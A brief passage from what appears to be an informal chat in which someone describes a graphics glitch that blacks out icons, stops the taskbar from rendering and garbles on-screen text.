Especially not just on areas without text being displayed or I hover my mouse at
nono it actually affects certain parts
for example icons can go entirely black, taskbar won't render text would get messed up etc.
I had that literally happen to me


